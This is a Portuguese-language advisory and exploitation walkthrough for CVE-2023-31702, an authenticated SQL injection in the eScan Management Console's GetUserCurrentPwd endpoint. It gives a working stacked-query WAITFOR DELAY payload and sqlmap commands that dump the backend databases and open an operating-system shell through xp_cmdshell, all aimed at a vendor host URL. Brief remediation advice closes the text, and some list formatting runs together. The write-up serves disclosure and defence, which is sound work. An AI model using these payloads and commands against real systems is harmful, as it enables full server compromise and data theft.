
CVE-2023-31702 é uma vulnerabilidade de injeção SQL autenticada descoberta no MicroWorld Technologies eScan Management Console versão 14.0.1400.2281.
CVE-2023-31702 é uma vulnerabilidade de Injeção SQL autenticada descoberta no MicroWorld Technologies eScan Management Console, versão 14.0.1400.2281. A vulnerabilidade existe no endpoint GetUserCurrentPwd, onde o parâmetro UsrId é passado diretamente para uma consulta SQL sem sanitização ou parametrização adequadas. Um atacante autenticado pode explorar essa falha para realizar injeção SQL cega baseada em tempo, extrair todo o banco de dados do backend e, por fim, obter um shell interativo de comandos do sistema operacional no Microsoft SQL Server subjacente — levando ao comprometimento total do sistema.
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2023-31702 |
| Tipo de Vulnerabilidade | SQL Injection (Time-Based Blind / Stacked Queries) |
| Produto Afetado | MicroWorld Technologies eScan Management Console |
| Versão Afetada | 14.0.1400.2281 |
| Endpoint Vulnerável | /ewconsole/ewconsole.dll/GetUserCurrentPwd |
| Parâmetro Vulnerável | UsrId |
| Autenticação | Necessária (credenciais válidas do console) |
| Testado em | Windows |
| Pontuação CVSS v3.1 | 8.8 (Alta) |
| Vetor CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Data do Relato | 16 de maio de 2023 |
| Autor | Sahil Ojha |
| Campo | Detalhes |
|---|---|
| Fornecedor | MicroWorld Technologies |
| Produto | eScan Management Console |
| Página do Fornecedor | https://www.escanav.com |
| Link do Software | https://cl.escanav.com/ewconsole.dll |
| Plataforma | Windows |
O eScan Management Console fornece uma interface baseada na web para gerenciar a segurança de endpoints em toda a rede de uma organização. O recurso "View User Profile" expõe um endpoint semelhante a REST:
/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>
O parâmetro UsrId é incorporado a uma consulta SQL do backend sem validação, escape ou uso de consultas parametrizadas. Isso permite que um atacante autenticado injete instruções SQL arbitrárias na consulta, resultando em:
WAITFOR DELAY para confirmar a explorabilidade.xp_cmdshell do SQL Server (ativado via sp_configure) para executar comandos arbitrários do sistema operacional no servidor com os privilégios da conta de serviço do SQL Server.A exploração bem-sucedida desta vulnerabilidade permite que um atacante:
⚠️ Nota: O atacante deve primeiro obter credenciais válidas para o eScan Management Console. No entanto, uma vez autenticado, a exploração é direta e não exige privilégios elevados no console.
Após autenticar-se no eScan Management Console, navegue até o seguinte URL:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493
Isso retorna os dados do perfil do usuário atual, confirmando que o endpoint está acessível.

Injete o seguinte payload de atraso no parâmetro UsrId:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176
Análise do payload:
; — encerra a instrução SQL original e inicia uma nova (consulta empilhada).WAITFOR DELAY '0:0:5' — instrui o SQL Server a pausar por 5 segundos antes de responder.-- — comenta o restante da consulta original para evitar erros de sintaxe.Se a resposta do servidor for atrasada em ~5 segundos, a injeção é confirmada.

Uma vez confirmada a injeção SQL cega, o banco de dados completo pode ser extraído usando o SQLMap:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--dbs \
--batch
Isso enumera todos os bancos de dados hospedados no backend do SQL Server.
O SQLMap também pode elevar o ataque para execução de comandos em nível de sistema operacional, habilitando e aproveitando o xp_cmdshell:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--os-shell \
--batch
Isso estabelece um shell interativo do sistema operacional no host do SQL Server.

Com o shell do sistema operacional estabelecido, comandos arbitrários do Windows podem ser executados no servidor:

As seguintes medidas são fortemente recomendadas para remediar e mitigar esta vulnerabilidade:
Usar consultas parametrizadas / prepared statements — Nunca concatene entrada fornecida pelo usuário diretamente em consultas SQL. Use parâmetros vinculados para separar os dados da lógica da consulta.
Validação e sanitização de entrada — Valide rigorosamente todos os parâmetros fornecidos pelo usuário no lado do servidor. Para identificadores numéricos como UsrId, aplique entrada apenas com inteiros e rejeite qualquer valor que contenha caracteres especiais.